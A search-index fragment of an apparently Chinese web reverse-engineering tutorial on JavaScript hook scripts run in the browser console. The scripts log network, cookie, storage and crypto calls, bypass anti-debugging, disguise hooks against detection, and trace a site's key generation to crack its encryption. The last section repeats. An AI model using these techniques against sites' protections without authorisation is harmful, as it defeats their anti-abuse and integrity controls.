脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-jsonparse"},{"categories":null,"collections":null,"content":"定时器 Hook ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:8:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#定时器-hook"},{"categories":null,"collections":null,"content":"Hook setTimeout (function () { const originalSetTimeout = window.setTimeout; window.setTimeout = function (callback, delay, ...args) { console.log(`⏰ [setTimeout] Delay: ${delay}ms`); console.log( `⏰ [setTimeout] Callback:`, callback.toString().substring(0, 100) ); console.trace(); return originalSetTimeout.apply(this, arguments); }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:8:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-settimeout"},{"categories":null,"collections":null,"content":"Hook setInterval (function () { const originalSetInterval = window.setInterval; window.setInterval = function (callback, delay, ...args) { console.log(`⏰ [setInterval] Interval: ${delay}ms`); console.log( `⏰ [setInterval] Callback:`, callback.toString().substring(0, 100) ); return originalSetInterval.apply(this, arguments); }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:8:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-setinterval"},{"categories":null,"collections":null,"content":"WebSocket Hook (function () { const originalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { console.log(` [WebSocket] Connecting to: ${url}`); const ws = new originalWebSocket(url, protocols); // Hook send const originalSend = ws.send; ws.send = function (data) { console.log(\" [WebSocket] Send:\", data); return originalSend.apply(this, arguments); }; // Hook onmessage ws.addEventListener(\"message\", function (event) { console.log(\" [WebSocket] Message:\", event.data); }); // Hook onopen ws.addEventListener(\"open\", function () { console.log(\"✅ [WebSocket] Connected\"); }); // Hook onerror ws.addEventListener(\"error\", function (error) { console.log(\"❌ [WebSocket] Error:\", error); }); // Hook onclose ws.addEventListener(\"close\", function () { console.log(\" [WebSocket] Closed\"); }); return ws; }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:9:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#websocket-hook"},{"categories":null,"collections":null,"content":"反调试绕过 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:10:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#反调试绕过"},{"categories":null,"collections":null,"content":"绕过 debugger // 方法一：重写 Function.prototype.constructor (function () { const originalConstructor = Function.prototype.constructor; Function.prototype.constructor = function (...args) { // 检查是否包含 'debugger' const code = args[args.length - 1]; if (typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\" [Anti-Debug] Blocked debugger\"); // 返回空函数 return function () {}; } return originalConstructor.apply(this, args); }; })(); // 方法二：使用 Chrome DevTools // 右键 debugger 行 -\u003e \"Never pause here\" ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:10:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#绕过-debugger"},{"categories":null,"collections":null,"content":"Hook console 检测绕过 (function () { // 某些网站通过检测 console 被打开来反调试 // 重写 console 方法返回固定值 const noop = function () {}; const originalConsole = { ...console }; window.console = { log: noop, debug: noop, info: noop, warn: noop, error: noop, // 保留原始 console 供我们使用 _original: originalConsole, }; // 使用：window.console._original.log('message'); })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:10:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-console-检测绕过"},{"categories":null,"collections":null,"content":"综合 Hook 脚本 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:11:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#综合-hook-脚本"},{"categories":null,"collections":null,"content":"一键监控所有关键 API (function () { console.log(\" Universal Hook Script Loaded\"); // 1. Network const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(` [Fetch]`, args); const response = await originalFetch.apply(this, args); const clone = response.clone(); const text = await clone.text(); console.log(` [Fetch] Response:`, text.substring(0, 200)); return response; }; // 2. Cookie let cookieCache = document.cookie; Object.defineProperty(document, \"cookie\", { get: () =\u003e (console.log(\" [Cookie] Read\"), cookieCache), set: (v) =\u003e (console.log(\" [Cookie] Write:\", v), (cookieCache = v), v), }); // 3. LocalStorage const originalSetItem = localStorage.setItem; localStorage.setItem = function (k, v) { console.log(` [LocalStorage] ${k} = ${v}`); return originalSetItem.apply(this, arguments); }; // 4. JSON const originalStringify = JSON.stringify; JSON.stringify = function (obj) { console.log(\" [JSON.stringify]\", obj); return originalStringify.apply(this, arguments); }; // 5. CryptoJS (如果存在) if (window.CryptoJS) { const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function (...args) { const result = originalMD5.apply(this, args); console.log(` [MD5] ${args[0]} =\u003e ${result}`); return result; }; } console.log(\"✅ All hooks installed!\"); })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:11:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#一键监控所有关键-api"},{"categories":null,"collections":null,"content":"使用建议 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:12:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#使用建议"},{"categories":null,"collections":null,"content":"在 DevTools Console 中执行 打开 DevTools 切换到 Console 标签 粘贴 Hook 脚本 回车执行 刷新页面或触发操作 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:12:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#在-devtools-console-中执行"},{"categories":null,"collections":null,"content":"保存为 Snippet DevTools -\u003e Sources -\u003e Snippets 新建 Snippet 粘贴 Hook 脚本 Ctrl+Enter 执行 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:12:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#保存为-snippet"},{"categories":null,"collections":null,"content":"使用浏览器插件 可以将 Hook 脚本注入到 Tampermonkey 等插件中，实现自动加载。 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:12:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#使用浏览器插件"},{"categories":null,"collections":null,"content":"高级 Hook 技术 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#高级-hook-技术"},{"categories":null,"collections":null,"content":"使用 Proxy 实现深度拦截 ES6 Proxy 提供了更强大的拦截能力，可以拦截对象的所有操作： // Hook 整个对象的所有方法 function deepHookObject(obj, name = \"Object\") { return new Proxy(obj, { get(target, prop, receiver) { const value = Reflect.get(target, prop, receiver); // 如果是函数，则包装它 if (typeof value === \"function\") { return new Proxy(value, { apply(fn, thisArg, args) { console.log(` [${name}.${String(prop)}] 调用`); console.log(\" 参数:\", args); const result = Reflect.apply(fn, thisArg, args); console.log(\" 返回:\", result); return result; }, }); } return value; }, set(target, prop, value, receiver) { console.log(` [${name}.${String(prop)}] 设置为:`, value); return Reflect.set(target, prop, value, receiver); }, }); } // 使用示例：Hook 整个 localStorage window.localStorage = deepHookObject(window.localStorage, \"localStorage\"); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#使用-proxy-实现深度拦截"},{"categories":null,"collections":null,"content":"性能优化：条件 Hook 避免过度日志输出影响性能： // 条件 Hook - 只记录特定条件 (function () { const originalFetch = window.fetch; const INTERESTING_URLS = [\"/api/user\", \"/api/login\", \"/api/data\"]; window.fetch = async function (...args) { const url = args[0]; const shouldLog = INTERESTING_URLS.some((pattern) =\u003e url.includes(pattern)); if (shouldLog) { console.log(\" [Fetch]\", url); } const response = await originalFetch.apply(this, args); if (shouldLog) { const clone = response.clone(); const text = await clone.text(); console.log(\" [Response]\", text.substring(0, 200)); } return response; }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#性能优化条件-hook"},{"categories":null,"collections":null,"content":"函数调用栈追踪 精确定位函数调用来源： function hookWithStackTrace(obj, methodName) { const original = obj[methodName]; obj[methodName] = function (...args) { console.log(` [${methodName}] 被调用`); console.log(\"参数:\", args); // 获取调用栈 const stack = new Error().stack; const callerLine = stack.split(\"\\n\")[2]; // 第三行是调用者 console.log(\"调用位置:\", callerLine.trim()); // 只在特定位置触发断点 if (callerLine.includes(\"encrypt\")) { debugger; // 条件断点 } return original.apply(this, args); }; } // 示例：追踪 MD5 调用来源 if (window.CryptoJS) { hookWithStackTrace(CryptoJS, \"MD5\"); } ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#函数调用栈追踪"},{"categories":null,"collections":null,"content":"Hook 计数器和性能分析 class FunctionProfiler { constructor() { this.stats = new Map(); } hook(obj, methodName, displayName) { const original = obj[methodName]; const stats = { callCount: 0, totalTime: 0, minTime: Infinity, maxTime: 0, }; this.stats.set(displayName, stats); obj[methodName] = function (...args) { stats.callCount++; const startTime = performance.now(); const result = original.apply(this, args); const duration = performance.now() - startTime; stats.totalTime += duration; stats.minTime = Math.min(stats.minTime, duration); stats.maxTime = Math.max(stats.maxTime, duration); return result; }; } report() { console.log(\"\\n=== 函数性能报告 ===\"); for (const [name, stats] of this.stats.entries()) { console.log(`\\n${name}:`); console.log(` 调用次数: ${stats.callCount}`); console.log(` 总耗时: ${stats.totalTime.toFixed(2)}ms`); console.log( ` 平均耗时: ${(stats.totalTime / stats.callCount).toFixed(2)}ms` ); console.log(` 最小耗时: ${stats.minTime.toFixed(2)}ms`); console.log(` 最大耗时: ${stats.maxTime.toFixed(2)}ms`); } } } // 使用示例 const profiler = new FunctionProfiler(); profiler.hook(XMLHttpRequest.prototype, \"send\", \"XHR.send\"); profiler.hook(window, \"fetch\", \"Fetch\"); // 稍后查看报告 setTimeout(() =\u003e profiler.report(), 10000); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:4","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-计数器和性能分析"},{"categories":null,"collections":null,"content":"防御性 Hook - 避免被检测 有些网站会检测 Hook 痕迹，需要更隐蔽的方式： // 方法1: 使用 Proxy 保持函数特性 function stealthHook(obj, prop, handler) { const original = obj[prop]; // 创建 Proxy，保留原函数的所有属性 const proxy = new Proxy(original, { apply(target, thisArg, args) { handler.before \u0026\u0026 handler.before(args); const result = Reflect.apply(target, thisArg, args); handler.after \u0026\u0026 handler.after(result); return result; }, }); // 复制原函数的属性 Object.setPrototypeOf(proxy, Object.getPrototypeOf(original)); Object.defineProperty(obj, prop, { value: proxy, writable: true, enumerable: false, configurable: true, }); } // 方法2: 保持 toString() 一致 function invisibleHook(obj, methodName, callback) { const original = obj[methodName]; const originalToString = original.toString(); obj[methodName] = function (...args) { callback(args); return original.apply(this, args); }; // 伪造 toString obj[methodName].toString = function () { return originalToString; }; // 隐藏 Proxy 特征 Object.defineProperty(obj[methodName], \"name\", { value: original.name, }); } ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:5","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#防御性-hook---避免被检测"},{"categories":null,"collections":null,"content":"递归 Hook - 自动发现和 Hook 新方法 // 自动 Hook 所有被调用的加密方法 (function () { if (!window.CryptoJS) return; const hookedMethods = new Set(); function autoHook(obj, prefix = \"CryptoJS\") { return new Proxy(obj, { get(target, prop) { const value = target[prop]; const fullName = `${prefix}.${String(prop)}`; if (typeof value === \"function\" \u0026\u0026 !hookedMethods.has(fullName)) { hookedMethods.add(fullName); console.log(` 自动 Hook: ${fullName}`); return new Proxy(value, { apply(fn, thisArg, args) { console.log(` [${fullName}]`, args); return Reflect.apply(fn, thisArg, args); }, }); } if (typeof value === \"object\" \u0026\u0026 value !== null) { return autoHook(value, fullName); } return value; }, }); } window.CryptoJS = autoHook(window.CryptoJS); })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:13:6","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#递归-hook---自动发现和-hook-新方法"},{"categories":null,"collections":null,"content":"Hook 框架封装 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:14:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-框架封装"},{"categories":null,"collections":null,"content":"通用 Hook 管理器 class HookManager { constructor() { this.hooks = []; this.enabled = true; } // 注册 Hook register(config) { const { target, method, before, after, condition } = config; const original = target[method]; if (!original) { console.warn(`⚠️ 方法 ${method} 不存在`); return; } const hookId = this.hooks.length; target[method] = (...args) =\u003e { if (!this.enabled) { return original.apply(target, args); } // 条件检查 if (condition \u0026\u0026 !condition(args)) { return original.apply(target, args); } // 前置处理 if (before) { const modifiedArgs = before(args); if (modifiedArgs !== undefined) { args = modifiedArgs; } } // 调用原函数 const result = original.apply(target, args); // 后置处理 if (after) { const modifiedResult = after(result, args); if (modifiedResult !== undefined) { return modifiedResult; } } return result; }; this.hooks.push({ id: hookId, target, method, original, }); return hookId; } // 移除 Hook remove(hookId) { const hook = this.hooks[hookId]; if (hook) { hook.target[hook.method] = hook.original; console.log(`✅ Hook ${hookId} 已移除`); } } // 全局启用/禁用 toggle(enabled) { this.enabled = enabled; console.log(` Hook ${enabled ? \"启用\" : \"禁用\"}`); } } // 使用示例 const hookManager = new HookManager(); // Hook Fetch 请求 hookManager.register({ target: window, method: \"fetch\", before: (args) =\u003e { console.log(\" Fetch:\", args[0]); }, after: async (response) =\u003e { const clone = response.clone(); const text = await clone.text(); console.log(\" Response:\", text.substring(0, 100)); }, condition: (args) =\u003e { // 只 Hook API 请求 return args[0].includes(\"/api/\"); }, }); // 临时禁用所有 Hook hookManager.toggle(false); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:14:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#通用-hook-管理器"},{"categories":null,"collections":null,"content":"实战进阶案例 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:15:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#实战进阶案例"},{"categories":null,"collections":null,"content":"案例 1: 破解动态密钥生成算法 场景: 每次请求的加密密钥都不同，需要追踪密钥生成逻辑 // Step 1: Hook 所有可能的密钥来源 const keyTracker = { sources: [], trackRandom() { const originalRandom = Math.random; Math.random = function () { const value = originalRandom(); keyTracker.sources.push({ type: \"Math.random\", value }); return value; }; }, trackTimestamp() { const originalNow = Date.now; Date.now = function () { const value = originalNow(); keyTracker.sources.push({ type: \"Date.now\", value }); return value; }; }, trackCrypto() { if (window.crypto \u0026\u0026 window.crypto.getRandomValues) { const original = window.crypto.getRandomValues.bind(window.crypto); window.crypto.getRandomValues = function (array) { const result = original(array); keyTracker.sources.push({ type: \"crypto.getRandomValues\", value: Array.from(array), }); return result; }; } }, init() { this.trackRandom(); this.trackTimestamp(); this.trackCrypto(); console.log(\" 密钥追踪器已启动\"); }, analyze() { console.log(\"=== 密钥来源分析 ===\"); console.log(`总计 ${this.sources.length} 个随机源`); this.sources.forEach((source, i) =\u003e { console.log(`${i + 1}. ${source.type}:`, source.value); }); }, }; keyTracker.init(); // 触发加密操作后 setTimeout(() =\u003e keyTracker.analyze(), 5000); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:15:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#案例-1-破解动态密钥生成算法"},{"categories":null,"collections":null,"content":"案例 2: 绕过虚拟机检测 某些网站使用虚拟机（VM）执行关键代码以防止分析： // 检测并 Hook VM 环境 (function () { // 常见的 VM 特征 const vmPatterns = [ \"eval\", \"Function\", \"with\", \"Proxy\", \"_0x\", // 混淆特征 \"constructor\", ]; // Hook Function 构造函数 const OriginalFunction = Function; window.Function = new Proxy(OriginalFunction, { construct(target, args) { const code = args[args.length - 1]; // 检查是否是 VM 代码 const isVM = vmPatterns.some((pattern) =\u003e code.includes(pattern)); if (isVM) { console.log(\" 检测到 VM 代码执行\"); console.log(\"代码片段:\", code.substring(0, 200)); debugger; // 断点 } return Reflect.construct(target, args); }, }); console.log(\"✅ VM 检测 Hook 已安装\"); })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:15:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#案例-2-绕过虚拟机检测"},{"categories":null,"collections":null,"content":"案例 3: 参数污染检测 自动检测哪些参数对加密结果有影响： class ParameterAnalyzer { constructor(targetFunction, referenceOutput) { this.targetFunction = targetFunction; this.referenceOutput = referenceOutput; this.results = []; } // 测试单个参数的影响 testParameter(baseParams, paramIndex, testValue) { const testParams = [...baseParams]; testParams[paramIndex] = testValue; const output = this.targetFunction(...testParams); const changed = output !== this.referenceOutput; this.results.push({ paramIndex, testValue, output, changed, }); return changed; } // 自动化测试 analyze(baseParams) { console.log(\" 开始参数分析\"); baseParams.forEach((param, index) =\u003e { console.log(`\\n测试参数 ${index}:`); // 测试不同的值 const testValues = [ null, undefined, \"\", 0, param + \"_modified\", param.toUpperCase?.(), ].filter((v) =\u003e v !== undefined); testValues.forEach((testValue) =\u003e { const changed = this.testParameter(baseParams, index, testValue); console.log( ` ${JSON.stringify(testValue)} =\u003e ${ changed ? \"✅ 影响输出\" : \"❌ 无影响\" }` ); }); }); this.report(); } report() { console.log(\"\\n=== 分析报告 ===\"); const criticalParams = this.results .filter((r) =\u003e r.changed) .map((r) =\u003e r.paramIndex); console.log(\"关键参数索引:\", [...new Set(criticalParams)]); } } // 使用示例 // 假设发现了加密函数 encryptData(timestamp, userId, data) const analyzer = new ParameterAnalyzer( window.encryptData, window.encryptData(1638360000, \"123\", \"test\") ); analyzer.analyze([1638360000, \"123\", \"test\"]); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:15:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#案例-3-参数污染检测"},{"categories":null,"collections":null,"content":"调试集成技巧 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:16:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#调试集成技巧"},{"categories":null,"collections":null,"content":"条件日志 只在满足条件时输出日志，减少噪音： class ConditionalLogger { constructor(condition) { this.condition = condition; this.buffer = []; } log(...args) { if (this.condition()) { console.log(...args); } else { this.buffer.push(args); } } flush() { console.log(\"=== 缓冲日志 ===\"); this.buffer.forEach((args) =\u003e console.log(...args)); this.buffer = []; } } // 只在特定URL时记录 const logger = new ConditionalLogger(() =\u003e { return window.location.href.includes(\"/login\"); }); logger.log(\"这条日志只在 /login 页面显示\"); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:16:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#条件日志"},{"categories":null,"collections":null,"content":"自动化断点注入 // 在加密函数的关键参数处自动断点 function autoBreakpoint(obj, method, paramChecker) { const original = obj[method]; obj[method] = function (...args) { if (paramChecker(args)) { console.log(\" 触发自动断点\"); console.log(\"参数:\", args); debugger; // 自动断点 } return original.apply(this, args); }; } // 示例：当密钥包含特定字符串时断点 autoBreakpoint(CryptoJS.AES, \"encrypt\", (args) =\u003e { const key = args[1]?.toString(); return key \u0026\u0026 key.includes(\"secret\"); }); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:16:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#自动化断点注入"},{"categories":null,"collections":null,"content":"最佳实践总结 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:17:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#最佳实践总结"},{"categories":null,"collections":null,"content":"1. Hook 时机 尽早注入: 在页面脚本执行前注入 Hook（使用浏览器扩展或代理） 异步 Hook: 对于动态加载的库，使用 MutationObserver 监听 // 监听动态加载的 CryptoJS const observer = new MutationObserver(() =\u003e { if (window.CryptoJS \u0026\u0026 !window._cryptoHooked) { window._cryptoHooked = true; // 安装 Hook console.log(\"✅ CryptoJS 已加载，安装 Hook\"); } }); observer.observe(document, { childList: true, subtree: true }); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:17:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#1-hook-时机"},{"categories":null,"collections":null,"content":"2. 性能考虑 避免在 Hook 中执行耗时操作 使用条件判断减少不必要的日志 考虑使用 requestIdleCallback 延迟非关键日志 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:17:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#2-性能考虑"},{"categories":null,"collections":null,"content":"3. 错误处理 function safeHook(obj, method, callback) { const original = obj[method]; obj[method] = function (...args) { try { callback(args); } catch (error) { console.error(\"Hook 错误:\", error); // 继续执行原函数 } return original.apply(this, args); }; } ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:17:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#3-错误处理"},{"categories":null,"collections":null,"content":"4. 清理和恢复 始终保存原函数引用，便于恢复： window._originalFunctions = window._originalFunctions || {}; function installHook(obj, method, hook) { const key = `${obj.constructor.name}.${method}`; window._originalFunctions[key] = obj[method]; obj[method] = hook(obj[method]); } function uninstallAllHooks() { for (const [key, original] of Object.entries(window._originalFunctions)) { const [objName, method] = key.split(\".\"); window[objName][method] = original; } console.log(\"✅ 所有 Hook 已移除\"); } ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:17:4","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#4-清理和恢复"},{"categories":null,"collections":null,"content":"工具推荐 工具 用途 链接 Tampermonkey 用户脚本管理，自动注入 Hook https://www.tampermonkey.net/ Proxy SwitchyOmega 代理切换，配合 mitmproxy 注入 https://github.com/FelisCatus/SwitchyOmega Chrome DevTools 原生断点和监控 内置 Frida 动态插桩框架（适用于 App） https://frida.re/ ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:18:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#工具推荐"},{"categories":null,"collections":null,"content":"商业化动态分析平台对比 对于企业级项目，商业化的动态分析和 Hook 平台可以显著提升效率和可靠性。以下是市场主流方案对比。 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#商业化动态分析平台对比"},{"categories":null,"collections":null,"content":"1. 专业动态分析工具 Frida（开源，企业级可用） 定位: 最流行的动态插桩框架 核心优势: 支持 JavaScript/Python/Swift 等多语言 跨平台（iOS/Android/Windows/macOS/Linux） 活跃的社区和丰富的脚本库 企业可免费使用 应用场景: 移动应用逆向 Web 应用动态分析 恶意软件分析 安全研究 GitHub: https://github.com/frida/frida 学习成本: 中等 企业使用: ✅ 完全免费 ✅ 无使用限制 ✅ 可商业化 ❌ 需要技术团队维护 Charles Proxy（商业网络调试工具） 定位: HTTP/HTTPS 抓包和调试 功能: SSL 证书中间人拦截 请求/响应修改 断点和重放 流量限速模拟 价格: 个人许可: $50（一次性） 商业许可: $100+ 优势: 图形化界面，易用性强 稳定可靠 跨平台支持 劣势: 仅限网络层 Hook 无法 Hook JavaScript 函数 官网: https://www.charlesproxy.com/ 适用: 网络层分析、API 调试 Burp Suite Professional 定位: Web 安全测试专业工具 核心功能: HTTP/HTTPS 代理拦截 扫描器（主动/被动） Intruder（自动化攻击） Repeater（请求重放） Burp 扩展：支持 JavaScript Hook 插件 价格: Professional: $449/年 Enterprise: $3,999/年+ JavaScript Hook 集成: // 使用 Burp Extension: JS Link // 可在Burp中直接注入Hook脚本 官网: https://portswigger.net/burp 企业优势: 强大的漏洞扫描 完整的测试报告 团队协作功能 专业技术支持 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:19:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#1-专业动态分析工具"},{"categories":null,"collections":null,"content":"1. 专业动态分析工具 Frida（开源，企业级可用） 定位: 最流行的动态插桩框架 核心优势: 支持 JavaScript/Python/Swift 等多语言 跨平台（iOS/Android/Windows/macOS/Linux） 活跃的社区和丰富的脚本库 企业可免费使用 应用场景: 移动应用逆向 Web 应用动态分析 恶意软件分析 安全研究 GitHub: https://github.com/frida/frida 学习成本: 中等 企业使用: ✅ 完全免费 ✅ 无使用限制 ✅ 可商业化 ❌ 需要技术团队维护 Charles Proxy（商业网络调试工具） 定位: HTTP/HTTPS 抓包和调试 功能: SSL 证书中间人拦截 请求/响应修改 断点和重放 流量限速模拟 价格: 个人许可: $50（一次性） 商业许可: $100+ 优势: 图形化界面，易用性强 稳定可靠 跨平台支持 劣势: 仅限网络层 Hook 无法 Hook JavaScript 函数 官网: https://www.charlesproxy.com/ 适用: 网络层分析、API 调试 Burp Suite Professional 定位: Web 安全测试专业工具 核心功能: HTTP/HTTPS 代理拦截 扫描器（主动/被动） Intruder（自动化攻击） Repeater（请求重放） Burp 扩展：支持 JavaScript Hook 插件 价格: Professional: $449/年 Enterprise: $3,999/年+ JavaScript Hook 集成: // 使用 Burp Extension: JS Link // 可在Burp中直接注入Hook脚本 官网: https://portswigger.net/burp 